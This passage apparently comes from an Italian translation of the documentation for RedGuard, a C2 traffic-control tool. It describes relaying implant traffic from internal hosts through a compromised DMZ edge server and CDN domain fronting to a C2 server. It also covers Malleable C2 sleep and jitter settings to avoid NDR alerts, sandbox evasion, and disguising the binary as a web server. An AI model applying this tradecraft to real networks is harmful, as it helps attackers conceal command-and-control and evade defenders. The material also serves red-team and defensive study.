Questo metodo è una specie di trucco astuto, che si riflette maggiormente nell'idea. Se ulteriormente sfruttato, la funzione di cattura honeypot può essere implementata nel sistema di controllo del traffico front-end C2 e quindi il traffico interattivo può essere reindirizzato. L'effetto è che i dati della cache del browser del client possono essere ottenuti proprio come un honeypot tradizionale. Tuttavia, personalmente ritengo che, nella versione pubblica, possa non essere significativo applicarlo all'attuale confronto tra attacco e difesa. È inutile per l'attaccante catturare le informazioni sociali dell'analista della squadra blu e poi risalire a lui. Certamente, facendo un passo indietro, questo potrebbe rendere l'analisi dei campioni C2 più pericolosa. Quando l'attaccante del settore nero e grigio può ottenere l'identità virtuale dell'analista, se le identità virtuali e reali possono essere convertite, è comunque piuttosto pericoloso. **Quindi penso che la ricerca e l'analisi future dovrebbero essere più caute e vigili.**
## Traffico C2 basato sull'interazione dei collegamenti dei nodi periferici
Nello scenario di confronto tra attacco e difesa, la maggior parte delle reti aziendali si basa ancora sulla difesa perimetrale. Consideriamo qui uno scenario in cui i server esterni nella zona DMZ sono spesso configurati con le relative policy di accesso in un normale ambiente aziendale. In questo momento, quando i server esterni al confine possono accedere alla rete ma non possono accedere direttamente all'host della rete interna, il PC o i server correlati nella rete interna non accedono direttamente alla rete pubblica, ma possono accedere ai server aziendali nella zona DMZ, quindi posso utilizzare l'host del nodo periferico come nodo RG per trasferire il traffico online della rete interna alle nostre strutture C2. Sembra molto simile al trasferimento online tramite proxy convenzionale? Tuttavia, questa è solo una forma di visualizzazione dell'implementazione dell'abilità. Continuiamo a vedere ulteriori TIPS.
Quando prendiamo il controllo di un host periferico durante il processo di gestione, supponendo di aver ottenuto i permessi Shell, implementeremo RG su questo server come nostro nodo front-end **(negli scenari reali, i file di configurazione sono hard-coded nel programma, e persino il Trojan e RG sono combinati nello stesso programma)**.
**Il file di configurazione è il seguente:**
Per la configurazione specifica, ci concentriamo principalmente sulle frecce. **La freccia 1 sopra è il nome di dominio HOST per l'interazione tra l'host della rete interna e il nodo periferico**. Si consiglia di impostare il relativo nome di dominio della rete interna in base allo scenario specifico dell'unità target. Immagina l'interazione del traffico tra due host nella rete interna riguardo al nome di dominio della rete interna. BT ha il coraggio di interrompere direttamente il traffico interattivo? Certamente, se possono determinare che si tratta di traffico interattivo malevolo. **La freccia 2 punta all'impostazione del domain frontend convenzionale**. Questa coppia chiave-valore, la chiave corrisponde all' HOST online e il valore corrisponde all'indirizzo proxy. Qui possiamo impostarlo su qualsiasi nome di dominio HTTPS che utilizza lo stesso produttore CDN **(anche l'IP del nodo CDN va bene, ricordati di includere il protocollo http(s)://).**
EdgeHost è il nome di dominio utilizzato dal domain frontend del nostro provider di servizi cloud, che è anche il nome di dominio utilizzato dal nodo periferico RG quando interagisce con C2 tramite il nodo CDN. Sì, RG modificherà il nome di dominio HOST della richiesta legittima e lo modificherà nel nome di dominio CDN del servizio cloud in grado di comunicare normalmente.
EdgeTarget è il nome di dominio per l'interazione nella rete interna, che deve essere lo stesso della freccia 1. Solo il traffico richiesto dal nome di dominio impostato qui da HOST sarà considerato legittimo, e RG verrà ulteriormente modificato nel nome di dominio CDN del servizio cloud per la comunicazione successiva.
**Qui riassumiamo:**
Cioè, l'interazione tra il nodo periferico e l'host nella rete interna avviene tramite il nome di dominio della rete interna impostato. Quando il Trojan avvia una richiesta al nodo periferico di RG, verificherà se l' HOST del traffico della richiesta è il nome di dominio della rete interna impostato nel file di configurazione. Se è conforme, viene considerato legittimo. RG modificherà l' HOST nel nome di dominio CDN del provider di servizi cloud impostato da EdgeHost per la comunicazione successiva e trasferirà il traffico al server C2, ottenendo una completa occultazione e un'elevata offuscazione dell'intero collegamento. Immagina che il nome di dominio della rete interna interagisca con il nodo periferico con il nome di dominio della rete interna, ma il nodo periferico modifichi ulteriormente l'indirizzo proxy interattivo effettivo e l' HOST interattivo, ottenendo un'informazione interattiva asimmetrica tra i due host, rendendo il tracciamento più difficile e difficile da indagare.
**Traffico di interazione tra nodi periferici e host della rete interna, come mostrato nella figura sopra**
Un altro vantaggio di questo approccio è che nell'ambiente sandbox cloud, poiché il nostro IP interattivo è personalizzato in base alla rete interna, è impossibile per la sandbox eseguire un'analisi di correlazione della connettività sull'IP della rete interna durante l'analisi.
Una cosa da notare durante la configurazione è che l' HOST per la richiesta del Trojan dovrebbe essere:
- **HOST: nome di dominio della rete interna (impostato nel file di configurazione di RG)**
- **IP: IP della rete interna dell'host periferico**
- **Porta online: 443 (corrisponde alla porta di ascolto http(s) nel file di configurazione di RG)**
- **Porta di ascolto: la porta su cui C2 è effettivamente online**
Le impostazioni del listener C2 sono le seguenti:
In contrasto con la richiesta, l' HOST del listener C2 dovrebbe essere il nome di dominio CDN del provider di servizi cloud, purché il traffico finale possa essere trasferito al server C2.
Traffico di interazione del nodo della rete interna, come mostrato nella figura sottostante, si può vedere che l'IP della rete interna nella zona DMZ accede normalmente alla porta 443. Non è sorprendente che il server o il PC della rete interna si connetta al sistema aziendale nella zona DMZ.
Il traffico interattivo dell'host periferico è mostrato nella figura. Negli scenari reali, non ci sarà un gran numero di TIME_WAIT. Qui, ho impostato il sleep del pacchetto heartbeat a 0 per i test. È più sicuro impostare un jitter del pacchetto heartbeat e un tempo di sleep più elevati negli scenari reali. E personalmente penso che il traffico HTTP non venga utilizzato negli scenari reali. Il traffico in chiaro non è una perdita di tempo? Quindi generalmente questa porta non sarà aperta. Cambieremo il nome del file RG in Tomcat, Apache, Nginx, ecc. per rendere l'interazione più confusa.
Per quanto riguarda il jitter del pacchetto heartbeat e il tempo di sleep, puoi semplicemente impostare i seguenti campi nel file Malleable C2 Profile.```bash
set sleeptime "3000";
set jitter "20";
Se non lo si imposta, potrebbe apparire un allarme anomalo di pacchetti heartbeat. Naturalmente, nella maggior parte dei casi, i ricercatori lo considereranno un falso allarme e lo ignoreranno. Tuttavia, per motivi di sicurezza, si consiglia di configurarlo in modo da non causare un allarme anomalo di pacchetti heartbeat. All'epoca, è stato testato dall'apparecchiatura 360 NDR, e l'effetto specifico è il seguente:
Per quanto riguarda il traffico HTTPS, nessun dispositivo di monitoraggio del traffico sul mercato può censurare il traffico. I dispositivi di monitoraggio attuali sono essenzialmente corrispondenze di parole sensibili. Anche in una certa competizione di rilevamento di pacchetti dati di un produttore, è richiesto l'uso di pacchetti in chiaro, il che fa chiedere se gli RT interagiscano realmente con traffico in chiaro in scenari di combattimento reali? Oltre alle informazioni interattive asimmetriche menzionate sopra, il più grande vantaggio di questo metodo è che il nodo RG viene posizionato al nodo periferico per ottenere il controllo del traffico front-end, dandogli così lo stesso effetto funzionale di un RG normale.
I nodi back-end dei nodi RG vengono trasformati in nodi CDN per inoltrare al server C2. Negli scenari convenzionali, i nodi front-end dei domini vengono tutti utilizzati come nodi di richiesta del primo livello, e gli host periferici vengono messi online dopo il RG. L'interazione tra il sistema aziendale nell'area DMZ e l'IP CDN della rete pubblica sembra anche così armoniosa. In questo processo, né l'host della rete interna né l'host periferico interagiscono direttamente con il nostro C2, che è anche l'eleganza di questa tecnica di occultamento avanzata.
Naturalmente, oltre ai suddetti vantaggi rispetto al trasferimento proxy netsh e iptables, la configurazione semplice e l'assenza di registri di configurazione sono anche uno dei vantaggi.
Grazie per il vostro supporto. RedGuard continuerà a migliorare e aggiornarsi. Spero che RedGuard possa essere conosciuto da più professionisti della sicurezza. Lo strumento si ispira alle idee di design di RedWarden.
Accogliamo con favore tutti coloro che presentano le vostre esigenze, RedGuard continuerà a crescere e migliorare in queste esigenze!
Informazioni sullo sviluppatore 风起 articoli correlati:https://www.anquanke.com/member.html?memberId=148652
Autore dello spettro delle armi della conferenza hacker Kcon 2022
Argomento "C2 Front Flow Control" del Forum Avanzato Offensivo e Difensivo della 10a Conferenza sulla Sicurezza Internet ISC
Scambia traffico C2 basato su link di nodi di confine
https://www.anquanke.com/post/id/278140
Analisi della tecnologia di identificazione del flusso delle sandbox cloud
https://www.anquanke.com/post/id/277431
Realizzazione della tecnologia di randomizzazione delle impronte digitali JARM
https://www.anquanke.com/post/id/276546
Contromisure di intelligence sulle minacce dell'infrastruttura C2
Kunyu: https://github.com/knownsec/Kunyu
Il vento sorge dalla punta della lenticchia d'acqua, le onde si formano tra le increspature.
Se avete domande o richieste, potete inviare un problema (issue) nel progetto, o contattare lo sviluppatore aggiungendo WeChat.
| IP | Port | Protocol | Service | Country | City | Title | Time |
|---|
| 103.211.xx.90 | 443 | https | Apache httpd | Cina | Suzhou | 百度图片-发现多彩世界 | 2023-08-28 |
| 223.113.xx.207 | 443 | https | JSP3 | Cina | Xuzhou | 403 Forbidden | 2023-08-28 |
| 223.112.xx.48 | 443 | https | JSP3 | Cina | Xuzhou | 403 Forbidden | 2023-08-28 |
| 223.113.xx.40 | 443 | https | JSP3 | Cina | Xuzhou | 403 Forbidden | 2023-08-28 |
| 223.113.xx.31 | 443 | https | JSP3 | Cina | 405 Not Allowed | 2023-08-28 | |
| 223.113.xx.206 | 443 | https | JSP3 | Cina | Xuzhou | 403 Forbidden | 2023-08-28 |